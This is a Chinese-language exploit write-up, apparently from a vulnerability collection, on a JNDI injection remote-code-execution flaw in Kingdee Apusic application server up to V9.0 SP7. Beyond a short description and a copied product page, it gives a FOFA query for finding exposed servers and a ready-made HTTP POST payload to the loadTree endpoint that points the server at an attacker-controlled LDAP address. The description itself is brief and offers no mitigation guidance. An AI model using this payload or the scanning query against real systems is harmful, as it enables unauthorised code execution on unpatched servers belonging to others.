

# J17-1金蝶-Apusic应用服务器-JNDI注入

## 漏洞描述:

由于金蝶Apusic应用服务器[权限验证](#)不当, 导致攻击者可以向loadTree接口执行JNDI注入, 造成远程代码执行漏洞。利用该漏洞需低版本JDK。(漏洞比较旧, 8月份补丁已出, 金蝶EAS也存在类似漏洞, 只是路径不一样)

## 影响版本:

金蝶Apusic应用服务器 <= V9.0 SP7

不受影响版本

金蝶Apusic应用服务器 > V9.0 SP7

## 网站图片:



### 资源导航

- ▶ **Web管理控制台**  
管理Apusic应用服务器
- ▶ **Apusic软件注册中心**  
获取Apusic商业用户软件授权文件

[深圳市金蝶中间件有限公司](#)

[金蝶国际软件集团有限公司](#)

### 新特性

- ▶ **完全实现企业级应用规范**  
Apusic应用服务器完全符合企业级应用规范, 实现了包括以下规范在内的企业级标准:
  - Enterprise JavaBeans(EJB) 3.1
  - Java API for XML-Based Web Services(JAX-WS) 2.0
  - Java Architecture for XML binding 2.2
  - Web Services Metadata for the Java Platform 2.0
  - SOAP with Attachments API for Java(SAAJ) 1.3
  - Servlet 3.0
  - Java ServerPages(JSP) 2.2
  - Java Transaction API 1.1
  - Java Message Service 1.1
  - CDI for Java EE 1.0
- ▶ **其它特性**
  - Web 2.0**  
提供全新的Web应用程序支持, 包括富客户端、动态协作支持。
  - 完善的集群功能**  
支持多种负载均衡策略, 提供session成对复制功能。
  - 可灵活扩展的安全框架**  
能够将JavaEE的安全认证与第三方安全产品结合, 以提供完善的安全管理功能; 支持We
  - 与Apache的紧密集成**  
在用Apache作为负载均衡时, 能够有效的支持sticky session特性。

## 网络测绘:

### fofa语法:

FOFA: app="Apusic应用服务器"

## 漏洞复现:

payload:

```
POST /admin//protect/jndi/loadTree HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

jndiName=ldap://x.x.x.x:x/
```

效果图:

